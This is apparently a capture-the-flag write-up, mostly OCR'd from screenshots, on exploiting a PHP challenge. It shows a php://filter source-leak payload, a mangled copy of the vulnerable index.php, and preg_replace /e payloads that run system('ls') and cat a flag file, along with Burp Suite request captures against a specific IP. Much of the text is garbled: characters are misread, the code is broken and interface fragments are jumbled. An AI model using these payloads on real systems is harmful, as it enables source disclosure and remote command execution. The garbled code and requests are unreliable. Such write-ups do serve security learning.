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payload: ?php://filter/convert.base64-encode/resource=index.php
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<?php
error_reporting(9);

Bsession_start();
posix_setuid(1000);

php

$page = $_GET[page];

if (isset($page)) {

if (ctype_alnum($page)) {
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p class php echo $page; die();
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php
if (strpos($page,

die();

if (strpos($page,
die();




if (strpos($page,
die();

if ($page
die( )§

include($page);
die();

$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];

if (isset($pattern) isset($replacement) isset($subject)) {
preg replace($pattern, $replacement, $subject);

}else{
die();
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payload: ?pat=/test/e&rep=system('ls"')&sub=test
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GET /index. php?pat=/test/elrep=system(%2715%27) &sub=test HTTP/1.1

Host: 111.200. 241. 244: 65321

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winb4; x64; rv:78.0) Gecko/20100101
Firefox/78.0

Accept: text/html, application/xhtml+xml, application/xml;:q=0.9. image/webp, */*:9=0.8
Accept-Language: zh-CN, zh;g=0. 8, zh-TW;g=0. 7, zh-HK;g=0. 5, en-US;g=0. 3, en;g=0. 2
Accept-Encoding: gzip, deflate
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& s3chahahaDirRxt%l, #&Hpayload

?pat=/test/e&rep=system(‘Ils+s3chahahaDir’)&sub=test

Response

Render \n  Actions v

47 celIMinWidth: 80,

48 cols: [

49 [

50 { type: '‘numbers’ |},

51 [ type: 'checkbox' ],

52 { field: "id', title: "ID', width:
true |},

53 [ field: 'name', title: "@&E'. templet:

4 [ field: 'area’, title: "[Xif' |,

55 [ field: 'status', title: "HE{iRA",

56 [ field: 'check'. title: 'H@#&FX'. width: 85 templet:
‘#switchTpl', unresize: true |

57

58 1

59 page: true

60 N

61 1

62 </seript>

63 <script>

64 layui.use('element’, function() |

65 var element = layui.eslement;

// Gfhover R . —GFPFINRE, FEMRHBe ! ement fiik
66 7/ ER SR AT

67 element. on ('nav (demo) ', function(elem) |
68 //console. logelem)

69 layer msglelem. text());
70 N

71 1):

72 <Jscripty

73

74 <br >Welcome My Admin | <br >css
75 index. htm!

76 index. php

77 |is

78 layui

79 logo. png
80 s3chahahaDir
81 start.sh
82 M. pne

84 </body>

86 </html>
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| Dashboard |Targat | Prox | Intruder | Repeater I Sequencer | Decoder | Comparer | Extender | Project options | User options.

Send cance < |v S| Target: http://111.200.241.244:653
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Request Response
ey [ w  Actions v Raw Render \n  Actions v Query Parameters (3)

1 GET /index. php?pat=/test/e&rep=system (%27|s+s3chahahabir%27) &sub=test i !

HTTP/1.1

Host: 111.200. 241, 244:65321
3 User—Agent: Mozilla/5.0 (Windows NT 10.0; Win

Gecko/20100101 Firefox/78.0

T

] field: 'area’, title: 'Xid Body Parameters (0)

55 ‘

g )
. x64; rv:78.0) field status’, title HPHA . minWidth: 120, sort: tr Request Cookies (1)

! Accept
{ Reguest Headers (9)
.q= */%-q=
text/html, application/xhtml+xml, application/xml:q=0 .\\mzze webp, q=0.8 field check’. title Q&X' width: 85, templet #sw
5 Accept-Language ]
zh—CN, zh: q=0. 8, zh-TW:q=0. 7, zh-HK:g=0. 5, en-US:q=0. 3, en:q=0. 2 & ] Response Headers (10)
6 Accept-Encoding: gzip, deflate s ]

x-forwarded-for:127.0.0.1 =

8 Connection: close 4 } PaES: Srow
Cookie: PHPSESSID=n1ikqg6237kq3fvab40gepgavé h <

0 Upgrade—Insecure—Requests: 1 h

}
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2]l 62 {/script>
6 {script>
64 layui.use ("element’, function() |
65 var element = layui.element;
Shifhover MR . “RNPHFINEE, HWEEKRiel ementRIR
66 TSRS
6 element. on (' nav(demo) ', function(elem} |{
68 console. log(elem)
69 layer.msg (elem. text ())
!
)
}
) H
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payload:?pat=/test/e&rep=system('ls+s3chahahaDir/flag')&sub=test
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payload:?pat=/test/e&rep=system('cat+s3chahahaDir/flag/flag.php')&sub=test
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